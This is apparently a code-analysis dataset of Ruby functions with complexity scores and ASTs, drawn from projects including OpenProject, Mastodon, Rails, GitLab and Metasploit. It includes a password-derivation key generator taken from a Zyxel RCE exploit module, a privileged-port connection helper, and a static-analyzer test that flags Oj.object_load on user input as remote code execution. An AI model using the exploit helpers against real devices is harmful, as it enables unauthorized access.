end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remote_code_execution_oj_object_load\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"3bc375c9cb79d8bcd9e7f1c09a574fa3deeab17f924cf20455cbd4c15e9c66eb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[53]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^`Oj\\\\.object_load`\\\\ called\\\\ with\\\\ parameter\\\\ v\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"Oj\"]}]},{\"type\":\"sym\",\"children\":[\"object_load\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"mode\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"strict\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]}]}]}","id":"a2161bfe-081a-4c64-a93e-9341ef694850"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/db/migrate/20250404061503_migrate_classic_meetings.rb","start_line":5,"raw_source":"def up\n    # Create default sections for meetings that don't have one\n    execute <<~SQL\n      INSERT INTO meeting_sections (meeting_id, title, position, created_at, updated_at)\n      SELECT m.id, '', 1, NOW(), NOW()\n      FROM meetings m\n      LEFT JOIN meeting_sections ms ON ms.meeting_id = m.id\n      WHERE ms.id IS NULL;\n    SQL\n\n    # Migrate MeetingAgenda content to MeetingAgendaItem\n    execute <<~SQL.squish\n      INSERT INTO meeting_agenda_items (\n        meeting_id,\n        meeting_section_id,\n        author_id,\n        presenter_id,\n        title,\n        notes,\n        position,\n        created_at,\n        updated_at\n      )\n      SELECT\n        mc.meeting_id,\n        ms.id,\n        mc.author_id,\n        mc.author_id,\n        '#{I18n.t('activerecord.models.meeting_agenda')}',\n        mc.text,\n        1,\n        mc.created_at,\n        mc.updated_at\n      FROM meeting_contents mc\n      INNER JOIN meetings m ON m.id = mc.meeting_id\n      INNER JOIN meeting_sections ms ON ms.meeting_id = m.id\n      WHERE mc.type = 'MeetingAgenda';\n    SQL\n\n    # Migrate MeetingMinutes to MeetingOutcome\n    execute <<~SQL.squish\n      INSERT INTO meeting_outcomes (\n        meeting_agenda_item_id,\n        author_id,\n        notes,\n        created_at,\n        updated_at\n      )\n      SELECT\n        mai.id,\n        mc.author_id,\n        mc.text,\n        mc.created_at,\n        mc.updated_at\n      FROM meeting_contents mc\n      INNER JOIN meetings m ON m.id = mc.meeting_id\n      INNER JOIN meeting_sections ms ON ms.meeting_id = m.id\n      INNER JOIN meeting_agenda_items mai ON mai.meeting_id = m.id\n      WHERE mc.type = 'MeetingMinutes';\n    SQL\n\n    # Close classic meetings that are in the past\n    execute <<~SQL.squish\n      UPDATE meetings\n      SET state = 5\n      WHERE type = 'Meeting'\n      AND start_time < CURRENT_TIMESTAMP\n    SQL\n\n    # Remove STI column\n    remove_column :meetings, :type\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO meeting_sections (meeting_id, title, position, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT m.id, '', 1, NOW(), NOW()\\n\"]},{\"type\":\"str\",\"children\":[\"FROM meetings m\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN meeting_sections ms ON ms.meeting_id = m.id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE ms.id IS NULL;\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO meeting_agenda_items (\\n\"]},{\"type\":\"str\",\"children\":[\"  meeting_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  meeting_section_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  author_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  presenter_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  title,\\n\"]},{\"type\":\"str\",\"children\":[\"  notes,\\n\"]},{\"type\":\"str\",\"children\":[\"  position,\\n\"]},{\"type\":\"str\",\"children\":[\"  created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  updated_at\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  mc.meeting_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  ms.id,\\n\"]},{\"type\":\"str\",\"children\":[\"  mc.author_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  mc.author_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"activerecord.models.meeting_agenda\"]}]}]},{\"type\":\"str\",\"children\":[\"',\\n\"]},{\"type\":\"str\",\"children\":[\"  mc.text,\\n\"]},{\"type\":\"str\",\"children\":[\"  1,\\n\"]},{\"type\":\"str\",\"children\":[\"  mc.created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  mc.updated_at\\n\"]},{\"type\":\"str\",\"children\":[\"FROM meeting_contents mc\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN meetings m ON m.id = mc.meeting_id\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN meeting_sections ms ON ms.meeting_id = m.id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE mc.type = 'MeetingAgenda';\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO meeting_outcomes (\\n\"]},{\"type\":\"str\",\"children\":[\"  meeting_agenda_item_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  author_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  notes,\\n\"]},{\"type\":\"str\",\"children\":[\"  created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  updated_at\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  mai.id,\\n\"]},{\"type\":\"str\",\"children\":[\"  mc.author_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  mc.text,\\n\"]},{\"type\":\"str\",\"children\":[\"  mc.created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  mc.updated_at\\n\"]},{\"type\":\"str\",\"children\":[\"FROM meeting_contents mc\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN meetings m ON m.id = mc.meeting_id\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN meeting_sections ms ON ms.meeting_id = m.id\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN meeting_agenda_items mai ON mai.meeting_id = m.id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE mc.type = 'MeetingMinutes';\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE meetings\\n\"]},{\"type\":\"str\",\"children\":[\"SET state = 5\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE type = 'Meeting'\\n\"]},{\"type\":\"str\",\"children\":[\"AND start_time < CURRENT_TIMESTAMP\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"meetings\"]},{\"type\":\"sym\",\"children\":[\"type\"]}]}]}]}","id":"ca79e294-69e3-4c12-b095-eb3407c9a461"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/zyxel_lfi_unauth_ssh_rce.rb","start_line":170,"raw_source":"def mod3_key_generator(seed)\n    # key generator function used in the SerialNumMethod3 pasword derivation function\n    round4_array = Array.new(16, 0)\n    found0s = 0\n    found1s = 0\n    found2s = 0\n\n    while (found0s == 0) || (found1s == 0) || (found2s == 0)\n      found0s = 0\n      found1s = 0\n      found2s = 0\n\n      power_of_2 = 1\n      seed += 1\n\n      for i in 0..9 do\n        round4_array[i] = (seed % (power_of_2 * 3) / power_of_2).floor\n        if (round4_array[i] == 1)\n          found1s += 1\n        elsif (round4_array[i]) == 2\n          found2s += 1\n        else\n          found0s += 1\n        end\n        power_of_2 <<= 1\n      end\n    end\n    return seed, round4_array\n  end","complexity_score":51.98,"ast_json":"{\"type\":\"def\",\"children\":[\"mod3_key_generator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"seed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"round4_array\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"found0s\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"found1s\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"found2s\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found0s\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found1s\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found2s\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found0s\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"found1s\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"found2s\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"power_of_2\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seed\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"round4_array\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seed\"]},\"%\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"power_of_2\"]},\"*\",{\"type\":\"int\",\"children\":[3]}]}]}]},\"/\",{\"type\":\"lvar\",\"children\":[\"power_of_2\"]}]}]},\"floor\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"round4_array\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found1s\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"round4_array\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},\"==\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found2s\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found0s\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"power_of_2\"]},\"<<\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seed\"]},{\"type\":\"lvar\",\"children\":[\"round4_array\"]}]}]}]}","id":"b2fd0cb9-4ef8-40fe-965c-b9df3ecef485"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20181116173541_copy_account_stats.rb","start_line":30,"raw_source":"def up_fast\n    say 'Upsert is available, importing counters using the fast method'\n\n    MigrationAccount.unscoped.select('id').find_in_batches(batch_size: 5_000) do |accounts|\n      execute <<-SQL.squish\n        INSERT INTO account_stats (account_id, statuses_count, following_count, followers_count, created_at, updated_at)\n        SELECT id, statuses_count, following_count, followers_count, created_at, updated_at\n        FROM accounts\n        WHERE id IN (#{accounts.map(&:id).join(', ')})\n        ON CONFLICT (account_id) DO UPDATE\n        SET statuses_count = EXCLUDED.statuses_count, following_count = EXCLUDED.following_count, followers_count = EXCLUDED.followers_count\n      SQL\n    end\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up_fast\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Upsert is available, importing counters using the fast method\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MigrationAccount\"]},\"unscoped\"]},\"select\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"find_in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"int\",\"children\":[5000]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"accounts\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        INSERT INTO account_stats (account_id, statuses_count, following_count, followers_count, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"        SELECT id, statuses_count, following_count, followers_count, created_at, updated_at\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM accounts\\n\"]},{\"type\":\"str\",\"children\":[\"        WHERE id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accounts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"        ON CONFLICT (account_id) DO UPDATE\\n\"]},{\"type\":\"str\",\"children\":[\"        SET statuses_count = EXCLUDED.statuses_count, following_count = EXCLUDED.following_count, followers_count = EXCLUDED.followers_count\\n\"]}]},\"squish\"]}]}]}]}]}","id":"2abafec1-2d8d-4326-ad23-a77c9a8e089f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/number_helper/rounding_helper.rb","start_line":26,"raw_source":"def convert_to_decimal(number)\n          case number\n          when Float, String\n            BigDecimal(number.to_s)\n          when Rational\n            BigDecimal(number, digit_count(number.to_i) + options[:precision])\n          else\n            number.to_d\n          end\n        end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_to_decimal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"to_s\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rational\"]},{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"lvar\",\"children\":[\"number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"digit_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"to_i\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"precision\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"to_d\"]}]}]}","id":"8df1f60e-66c2-40b3-8677-64fae37851e2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/rservices.rb","start_line":29,"raw_source":"def connect_from_privileged_port(start_port = 1023)\n    cport = start_port\n    sd = nil\n    while cport > 512\n      #vprint_status(\"Trying to connect from port #{cport} ...\")\n      sd = nil\n      begin\n        sd = connect(true, { 'CPORT' => cport })\n\n      rescue Rex::BindFailed\n        # Ignore and try again\n        #vprint_error(\"Unable to connect: #{$!}\")\n\n      rescue Rex::ConnectionError => e\n        vprint_error(\"Unable to connect: #{$!}\")\n        return :refused if e.class == Rex::ConnectionRefused\n        return :connection_error\n\n      end\n\n      break if sd\n      cport -= 1\n    end\n\n    if not sd\n      print_error(\"#{target_host}:#{rport} - Unable to bind to privileged port\")\n      return :bind_error\n    end\n\n    #vprint_status(\"Connected from #{cport}\")\n    return :connected\n  end","complexity_score":27.33,"ast_json":"{\"type\":\"def\",\"children\":[\"connect_from_privileged_port\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"start_port\",{\"type\":\"int\",\"children\":[1023]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cport\",{\"type\":\"lvar\",\"children\":[\"start_port\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sd\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cport\"]},\">\",{\"type\":\"int\",\"children\":[512]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sd\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sd\",{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CPORT\"]},{\"type\":\"lvar\",\"children\":[\"cport\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"BindFailed\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to connect: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$!\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionRefused\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"refused\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_error\"]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sd\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cport\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sd\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to bind to privileged port\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"bind_error\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"connected\"]}]}]}]}","id":"8d08ce0a-1376-4158-a0ab-c20c779582c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/feature.rb","start_line":526,"raw_source":"def repositories\n      return unless params.key?(:repository)\n\n      params[:repository].split(',').map do |arg|\n        container, _project, _type, _path = Gitlab::RepoPath.parse(arg)\n        raise UnknownTargetError, \"#{arg} is not found!\" if container.nil?\n\n        container.repository\n      end\n    end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"repositories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"repository\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repository\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"container\"]},{\"type\":\"lvasgn\",\"children\":[\"_project\"]},{\"type\":\"lvasgn\",\"children\":[\"_type\"]},{\"type\":\"lvasgn\",\"children\":[\"_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"RepoPath\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnknownTargetError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\" is not found!\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"repository\"]}]}]}]}]}","id":"d619a7c9-875d-43c8-9427-818c200f3724"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20171006142024_add_uri_to_custom_emojis.rb","start_line":4,"raw_source":"def change\n    safety_assured do\n      change_table(:custom_emojis, bulk: true) do |t|\n        t.column :uri, :string\n        t.column :image_remote_url, :string\n      end\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"custom_emojis\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"image_remote_url\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}]}]}","id":"1c3064f2-eb48-40d0-922e-635d973e0f66"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/remote/http/core.rb","start_line":128,"raw_source":"def delete_data(path, data_hash, query = nil)\n    make_request(DELETE_REQUEST, path, data_hash, query)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"data_hash\"]},{\"type\":\"optarg\",\"children\":[\"query\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"make_request\",{\"type\":\"const\",\"children\":[null,\"DELETE_REQUEST\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"data_hash\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}","id":"91e3f5a7-0e79-45c5-a68c-ab892e6cf04c"}
